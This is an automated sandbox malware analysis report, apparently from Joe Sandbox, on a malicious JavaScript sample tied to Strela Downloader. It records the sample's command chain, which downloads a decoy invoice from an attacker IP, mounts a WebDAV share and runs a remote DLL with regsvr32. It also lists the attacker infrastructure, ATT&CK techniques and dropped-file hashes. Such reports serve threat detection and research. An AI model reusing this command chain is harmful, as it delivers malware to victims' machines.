Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
19048239772762424923.js	3%	Virustotal		Browse
19048239772762424923.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/_O$	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/space	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1315412399.000002AB2F080000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2549856039.000002AB2F200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/_O$	net.exe, 0000000C.00000002.1314153824.0000015B64030000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1314153824.0000015B6405A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1314153824.0000015B64030000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1314153824.0000015B64008000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 0000000C.00000002.1314153824.0000015B64008000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587861
Start date and time:	2025-01-10 18:41:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	19048239772762424923.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.23.197.184, 2.22.50.131, 2.22.50.144, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.6.155.20, 52.149.20.212, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:42:50	API Interceptor	24x Sleep call for process: powershell.exe modified
12:42:54	API Interceptor	1x Sleep call for process: net.exe modified
12:42:54	API Interceptor	2x Sleep call for process: svchost.exe modified
12:43:02	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067167591123795
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq1:2JIB/wUKUKQncEmYRTwh0p
MD5:	27AB1B394C6EBC65265CC87AFAC8AC37
SHA1:	924EC357CB15E7435C40E8E53272468FB8666DD2
SHA-256:	81404DA518CCF5E53D89590539CBF65C8871ED30B14F3681C5D6A0C2C203BAD7
SHA-512:	82D05B5A2FF9F4ACB5E44772E75E05A3F0DC5A16214E0D17FA18CFEA154190BC9E3A99ABC64511FEDF7D4378FD31D2B8EC5A32D32A7D992F70A30FF62F0EA639
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0424ef44, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899816815587374
Encrypted:	false
SSDEEP:	1536:BHVSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+D:razaPvgurTd42UgSii
MD5:	34D631AD5EF5D1CBB007E096C646B37E
SHA1:	16DF4094F4BEDB111A4711F8699BFA1B45072110
SHA-256:	CEFA1053309C6B240F985686DA2B332C2ED4887B47500CC2D5D2AE8327C8A947
SHA-512:	95DA909E2A17D180DC26EF7F7C30C6C827049A70E3BB7F82BE9E52A30E2882C0568615CDCA692D9C90AF30DAEF320499FE473A9DED1DDF7F0082DFACB9EFB31C
Malicious:	false
Preview:	.$.D... ...............X\...;...{......................0.`.....42...{5.7...}g.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................v..7...}#.................}5..7*...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08164002426544957
Encrypted:	false
SSDEEP:	3:evUYeluRqoqt/57Dek3J97kBwllEqW3l/TjzzQ/t:iUzlu4FR3tZyQmd8/
MD5:	5C3107100EA6F8E11F0138C61CF457F7
SHA1:	C73EE2887D584A58E89C68EECFC9CCEDAC0B4312
SHA-256:	DF0F283C4219EB1BB52308CF29C8116DAE482B516B8C25B70F0DE6A02280BF93
SHA-512:	900DB75EA1B654768D6C14AAFAA12B67FC500E77FB568480E08B7540ACFF524A63CBC41A98B5C73B087E1E64B2ACAF10D8644115ABBD4DEC0C46D68582D602C9
Malicious:	false
Preview:	........................................;...{..7...}..42...{5.........42...{5.42...{5...Y.42...{59................}5..7...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.2142598401211195
Encrypted:	false
SSDEEP:	6:iO4XXD9+q2PcNwi2nKuAl9OmbnIFUtSXbfNJZmwsXbfN9VkwOcNwi2nKuAl9Omb5:7UUvLZHAahFUtSbfX/obfF54ZHAaSJ
MD5:	70D353D85534F6DF53E8E27550E1F9AD
SHA1:	FB5CC00757110E6686378A7E406AD99B4C22ED21
SHA-256:	9C9D992C3309E6A28542DBAA70A62A6A3F85E340B90070E16DEBE6DBD8D38D22
SHA-512:	96C0DEEF50F6D1F7DF23C80D1BEE95938FD97C0E49E2BCA946EA4EDD2474502F0486816EB1A08F7FF2DD41A412997A71785B00084C81252B1AD96BB21D73CB64
Malicious:	false
Preview:	2025/01/10-12:42:54.260 1d88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:42:54.262 1d88 Recovering log #3.2025/01/10-12:42:54.262 1d88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.2142598401211195
Encrypted:	false
SSDEEP:	6:iO4XXD9+q2PcNwi2nKuAl9OmbnIFUtSXbfNJZmwsXbfN9VkwOcNwi2nKuAl9Omb5:7UUvLZHAahFUtSbfX/obfF54ZHAaSJ
MD5:	70D353D85534F6DF53E8E27550E1F9AD
SHA1:	FB5CC00757110E6686378A7E406AD99B4C22ED21
SHA-256:	9C9D992C3309E6A28542DBAA70A62A6A3F85E340B90070E16DEBE6DBD8D38D22
SHA-512:	96C0DEEF50F6D1F7DF23C80D1BEE95938FD97C0E49E2BCA946EA4EDD2474502F0486816EB1A08F7FF2DD41A412997A71785B00084C81252B1AD96BB21D73CB64
Malicious:	false
Preview:	2025/01/10-12:42:54.260 1d88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:42:54.262 1d88 Recovering log #3.2025/01/10-12:42:54.262 1d88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.161078841737319
Encrypted:	false
SSDEEP:	6:iO4XCyq2PcNwi2nKuAl9Ombzo2jMGIFUtSXMZq1ZmwsXkpRkwOcNwi2nKuAl9OmT:7UnvLZHAa8uFUtSMM1/oU54ZHAa8RJ
MD5:	B13431F7289BDD7A40DACA69CAC81D64
SHA1:	1E2215B4C97BDD92EDA0CF807979091CAAD781F5
SHA-256:	4DA16274502A445C59FE523FD4C32519A8939537A96F3F86AA66FA9BB33D778C
SHA-512:	B9181DF7706705B29BB56CD64F7E8B9AE57840F7013844FD5A89AFFEC118D2B7915BDA1EA5864395C16139E6F09B0E44E69DCB5E563EDDF47814E74CF9CDBA7F
Malicious:	false
Preview:	2025/01/10-12:42:54.490 1e94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:42:54.491 1e94 Recovering log #3.2025/01/10-12:42:54.492 1e94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.161078841737319
Encrypted:	false
SSDEEP:	6:iO4XCyq2PcNwi2nKuAl9Ombzo2jMGIFUtSXMZq1ZmwsXkpRkwOcNwi2nKuAl9OmT:7UnvLZHAa8uFUtSMM1/oU54ZHAa8RJ
MD5:	B13431F7289BDD7A40DACA69CAC81D64
SHA1:	1E2215B4C97BDD92EDA0CF807979091CAAD781F5
SHA-256:	4DA16274502A445C59FE523FD4C32519A8939537A96F3F86AA66FA9BB33D778C
SHA-512:	B9181DF7706705B29BB56CD64F7E8B9AE57840F7013844FD5A89AFFEC118D2B7915BDA1EA5864395C16139E6F09B0E44E69DCB5E563EDDF47814E74CF9CDBA7F
Malicious:	false
Preview:	2025/01/10-12:42:54.490 1e94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:42:54.491 1e94 Recovering log #3.2025/01/10-12:42:54.492 1e94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5303d40a-7706-4234-b642-050b0c991326.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF67c733.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f5a19e05-3195-4bc6-b272-46793ef2114c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967872949520895
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQsBdOg2Hbcaq3QYiubSpDyP7E4T3y:Y2sRdscdMHi3QYhbSpDa7nby
MD5:	D41DC03CBFD51E61504A13FCF14E3916
SHA1:	5C4F747796ECD6BD2FAB9691E9C7CBFE33CB581C
SHA-256:	EB7BF75BE5F63DDD78640D36120DA4FCF7A35E47FB954432A73EA2FF81ED98FE
SHA-512:	1302F47D5072941E1182B1A019E5BA5FBC614A925A2CFFA0BDC30933F37F4F24D9AD8461C29F8A2D8251B3F572C3FA4633F8F39CDA56CFCFFAE5B6E1C57FE757
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090986500100","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141393},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2374621200636975
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPp4Tby:CwNw1GHqPySfkcigoO3h28ytPp4Tby
MD5:	72F799F087A45529B2EB53D231D9914D
SHA1:	BD132820C2911107E0680C2B551C1860B591CF05
SHA-256:	81F3A6DA192490A660B1163312760F444F11D374EC7D34F27B453E20312A4650
SHA-512:	216B01EE3C1B051407DBA814CF852817FD2BBC88A6957A65066F8E72005A2D344A8D24AC300A0CBE25452256E939C3DC8F4E908315834086B3F5AD34743160E5
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.220471240120258
Encrypted:	false
SSDEEP:	6:iO4XmFiRjyq2PcNwi2nKuAl9OmbzNMxIFUtSXiFZq1ZmwsXiFZ8RkwOcNwi2nKuP:7UmJvLZHAa8jFUtSiPq1/oiPM54ZHAab
MD5:	E409C586C1457786382C3F143A615D0C
SHA1:	1D8ED34A565798728301909E27855127E5B36B99
SHA-256:	52FDCDB5E8E13B027F89B6D8D455A3E04BA4AA6D80490B9D187E62DAB576BF53
SHA-512:	7211A2AC2A0491F01F35440CE1AECF6B149974A03D5A9D2093DC44BBC5CBE53E15564711957C945756B85D01E3F6915D5D4DEDFD7E3A85FB47E32A6225719511
Malicious:	false
Preview:	2025/01/10-12:42:54.853 1e94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:42:54.857 1e94 Recovering log #3.2025/01/10-12:42:54.857 1e94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.220471240120258
Encrypted:	false
